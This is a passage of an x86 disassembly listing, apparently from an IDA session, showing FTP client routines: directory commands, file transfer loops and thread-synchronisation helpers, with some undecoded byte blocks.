%s" push eax call near ptr 77C3F931h loc_42E0E9: ; CODE XREF: ___:0042E070j nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E130: ; CODE XREF: ___:004016C2j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E151 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E151: ; CODE XREF: ___:0042E14Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42E16C loc_42E15F: ; CODE XREF: ___:0042E16Aj mov al, [ecx] cmp al, 20h jz short loc_42E16C mov [esi], al inc esi inc ecx dec edx jnz short loc_42E15F loc_42E16C: ; CODE XREF: ___:0042E15Dj ; ___:0042E163j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E1A0: ; CODE XREF: ___:0040224Dj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E1C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E1C9: ; CODE XREF: ___:0042E1C0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E220: ; CODE XREF: ___:0040225Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E249 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E249: ; CODE XREF: ___:0042E240j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2A0: ; CODE XREF: ___:00401780j mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42D1A0 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2D0: ; CODE XREF: ___:004021FDj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E2F9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E2F9: ; CODE XREF: ___:0042E2F0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E350: ; CODE XREF: ___:0040166Dj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_4456BC call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E371 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E371: ; CODE XREF: ___:0042E36Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42E387 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E387: ; CODE XREF: ___:0042E382j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42E3A5 loc_42E393: ; CODE XREF: ___:0042E3A3j mov cl, [eax] test cl, cl jz short loc_42E3A5 cmp cl, 22h jz short loc_42E3A5 mov [esi], cl inc esi inc eax dec edx jnz short loc_42E393 loc_42E3A5: ; CODE XREF: ___:0042E391j ; ___:0042E397j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E3D0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E400 proc near ; CODE XREF: ___:0042E3E3p ; ___:0042E663p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42E48A mov esi, [esp+14h+arg_C] mov cx, word_4456FC cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42E43A mov byte ptr [esp+14h+arg_10], 72h loc_42E43A: ; CODE XREF: sub_42E400+33j cmp edi, 49h jnz short loc_42E444 mov byte ptr [esp+14h+arg_10+1], 62h loc_42E444: ; CODE XREF: sub_42E400+3Dj lea edx, [esp+14h+arg_10] push edx push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42E4A4 push 100h nop call near ptr 77C1F2BCh mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx nop call near ptr 77C47A90h add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E48A: ; CODE XREF: sub_42E400+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42E49B mov ebx, dword_50FA84 jmp short loc_42E4A4 ; --------------------------------------------------------------------------- loc_42E49B: ; CODE XREF: sub_42E400+91j mov edx, dword_50FA84 lea ebx, [edx+20h] loc_42E4A4: ; CODE XREF: sub_42E400+57j ; sub_42E400+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F55 add esp, 14h test eax, eax jnz short loc_42E4C7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E4C7: ; CODE XREF: sub_42E400+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42E53D mov ebp, dword_50FAA4 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42E593 loc_42E4FA: ; CODE XREF: sub_42E400+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_4021F3 add esp, 0Ch cmp eax, esi jl short loc_42E523 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42E4FA jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E523: ; CODE XREF: sub_42E400+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" nop call near ptr 77C4186Ah add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E53D: ; CODE XREF: sub_42E400+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jle short loc_42E593 mov esi, dword_50FA94 loc_42E55A: ; CODE XREF: sub_42E400+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42E581 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jg short loc_42E55A jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E581: ; CODE XREF: sub_42E400+166j push offset aLocalfileWrite ; "localfile write" call near ptr 77C36DF2h nop add esp, 4 mov [esp+14h+var_4], ebp loc_42E593: ; CODE XREF: sub_42E400+F4j ; sub_42E400+121j ... push edi nop call near ptr 77C2C21Bh push ebx nop call near ptr 77C3EEF6h mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42E5B6 push ebx call near ptr 77C40AB1h nop add esp, 4 loc_42E5B6: ; CODE XREF: sub_42E400+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BDB mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42E400 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E650: ; CODE XREF: ___:0040169Fj mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E680: ; CODE XREF: ___:00401D2Fj sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42E6B7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6B7: ; CODE XREF: ___:0042E6AAj movsx eax, byte ptr [esp+124h] mov edi, dword_50FA60 push eax lea ecx, [esp+1Ch] push offset dword_445504 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E6F8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6F8: ; CODE XREF: ___:0042E6EBj push ebx lea eax, [esp+1Ch] push offset dword_445708 push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E754 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_445700 push esi call near ptr 77C41B72h nop add esp, 10h cmp eax, 2 jnz short loc_42E754 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E754: ; CODE XREF: ___:0042E717j ; ___:0042E738j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E7B0: ; CODE XREF: ___:004013BBj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42E7E0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7E0: ; CODE XREF: ___:0042E7D5j push esi push edx lea eax, [esp+10h] push offset dword_445714 push eax call near ptr 77C3F931h nop mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E81B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E81B: ; CODE XREF: ___:0042E80Bj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E880 proc near ; CODE XREF: sub_4016A9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42E400 add esp, 14h retn sub_42E880 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8B0: ; CODE XREF: ___:004016C7j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8E0: ; CODE XREF: ___:00401492j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov esi, dword_50FA60 push edx lea eax, [esp+10h] push offset dword_44572C push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E979 push ebx lea edx, [esp+10h] push offset dword_445720 push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42D1A0 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E979: ; CODE XREF: ___:0042E901j ; ___:0042E91Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E9C0: ; CODE XREF: ___:00401C67j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E9E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: ___:0042E9E0j push edx lea eax, [esp+4] push offset dword_445738 push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EA40 proc near ; CODE XREF: sub_401D52j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42EA79 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42D1A0 mov eax, [esi+8] add esp, 0Ch push eax call sub_436F06 ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_50FAC4 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42EA79: ; CODE XREF: sub_42EA40+Aj pop esi retn sub_42EA40 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EA90: ; CODE XREF: ___:0040219Ej push edi mov edi, [esp+8] test edi, edi jnz short loc_42EAA0 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42EAA0: ; CODE XREF: ___:0042EA97j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42EAB6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42EAB6: ; CODE XREF: ___:0042EAADj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB10: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EB29 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EB29: ; CODE XREF: ___:0042EB20j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB60: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42EB85 test eax, eax jz short loc_42EB85 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42EB85: ; CODE XREF: ___:0042EB74j ; ___:0042EB78j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EBB0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EBC9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBC9: ; CODE XREF: ___:0042EBC0j mov eax, [esp+0Ch] test eax, eax jz short loc_42EBDD cmp eax, 1 jz short loc_42EBDD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBDD: ; CODE XREF: ___:0042EBCFj ; ___:0042EBD4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC00: ; CODE XREF: ___:0040150Fj mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC20: ; CODE XREF: ___:00401825j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC40: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC59 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC59: ; CODE XREF: ___:0042EC50j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC80: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC99 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC99: ; CODE XREF: ___:0042EC90j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECC0: ; CODE XREF: ___:004019A1j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECF0: ; CODE XREF: ___:0040199Cj mov eax, [esp+8] sub eax, 0 jz short loc_42ED12 dec eax jz short loc_42ED02 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42ED02: ; CODE XREF: ___:0042ECFAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_42ED12: ; CODE XREF: ___:0042ECF7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ED30: ; CODE XREF: ___:00401C08j push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_42EDCB mov edi, [esp+18h] test edi, edi jz loc_42EDCB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_42EDC2 mov eax, [esp+14h] test eax, eax jz short loc_42ED70 mov eax, [eax] test eax, eax jz short loc_42ED70 mov eax, [eax] jmp short loc_42ED72 ; --------------------------------------------------------------------------- loc_42ED70: ; CODE XREF: ___:0042ED64j ; ___:0042ED6Aj xor eax, eax loc_42ED72: ; CODE XREF: ___:0042ED6Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDB8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDAF mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42EDAF: ; CODE XREF: ___:0042EDA7j push edi call sub_401686 add esp, 4 loc_42EDB8: ; CODE XREF: ___:0042ED92j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_42EDC2: ; CODE XREF: ___:0042ED5Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_42EDCB: ; CODE XREF: ___:0042ED39j ; ___:0042ED45j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EE10: ; CODE XREF: ___:004021E9j push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_42EE78 mov esi, [ebp+0] test esi, esi jz short loc_42EE78 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE6E lea eax, [esi+14h] push eax call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE5F push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE5F: ; CODE XREF: ___:0042EE4Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C76 add esp, 0Ch loc_42EE6E: ; CODE XREF: ___:0042EE3Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE78: ; CODE XREF: ___:0042EE1Aj ; ___:0042EE21j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EEB0: ; CODE XREF: ___:00401799j mov eax, [esp+4] push esi test eax, eax jz loc_42EF64 mov esi, [eax] test esi, esi jz loc_42EF64 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] call near ptr 2760A3Ah nop test eax, eax jnz short loc_42EEF7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_42EF44 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_40204A add esp, 8 mov esi, eax jmp short loc_42EF40 ; --------------------------------------------------------------------------- loc_42EEF7: ; CODE XREF: ___:0042EED8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_42EF1B lea ecx, [esp+14h] push ecx push ebx call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_42EF1D loc_42EF1B: ; CODE XREF: ___:0042EF07j xor ebx, ebx loc_42EF1D: ; CODE XREF: ___:0042EF19j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_42EF40 mov eax, [esp+10h] push 0 push eax call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 loc_42EF40: ; CODE XREF: ___:0042EEF5j ; ___:0042EF2Fj test esi, esi jnz short loc_42EF5E loc_42EF44: ; CODE XREF: ___:0042EEE2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_50E3FC ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_42EF5E: ; CODE XREF: ___:0042EF42j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_42EF64: ; CODE XREF: ___:0042EEB7j ; ___:0042EEC1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFA0: ; CODE XREF: ___:00401F50j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42EFC3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42EFC3: ; CODE XREF: ___:0042EFB2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFF0: ; CODE XREF: ___:00401A73j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_42F011 mov eax, [ecx] test eax, eax jz short loc_42F011 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F011: ; CODE XREF: ___:0042EFF9j ; ___:0042EFFFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F030: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_42F04D mov eax, [eax] test eax, eax jz short loc_42F04D mov ecx, [esp+8] test ecx, ecx jz short loc_42F04D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F04D: ; CODE XREF: ___:0042F036j ; ___:0042F03Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F070: ; CODE XREF: ___:0040162Cj mov eax, [esp+4] test eax, eax jz short loc_42F09A mov ecx, [eax] test ecx, ecx jz short loc_42F09A mov eax, [esp+8] cmp eax, 1 jz short loc_42F08E test eax, eax jnz short loc_42F09A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F08E: ; CODE XREF: ___:0042F085j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F09A: ; CODE XREF: ___:0042F076j ; ___:0042F07Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F0B0 proc near ; CODE XREF: sub_40140Bj push esi push edi call sub_4012E4 sub_42F0B0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 0E8525738h, 2331565h, 75C08590h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 0E8000000h, 233172Dh, 0A4E85390h dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F170: ; CODE XREF: ___:0040223Ej push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 0E8525338h, 23314A5h, 75C08590h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 33166CE8h, 0E4E85702h dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F230 proc near ; CODE XREF: sub_401CEEj push esi push edi call sub_4012E4 sub_42F230 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 1407E850h, 85900233h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F2B0: ; CODE XREF: ___:00401D25j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401758 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_42F3E9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42F2EB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F2EB: ; CODE XREF: ___:0042F2DCj push ebx push ebp push edi push eax push esi call sub_401A50 lea ebx, 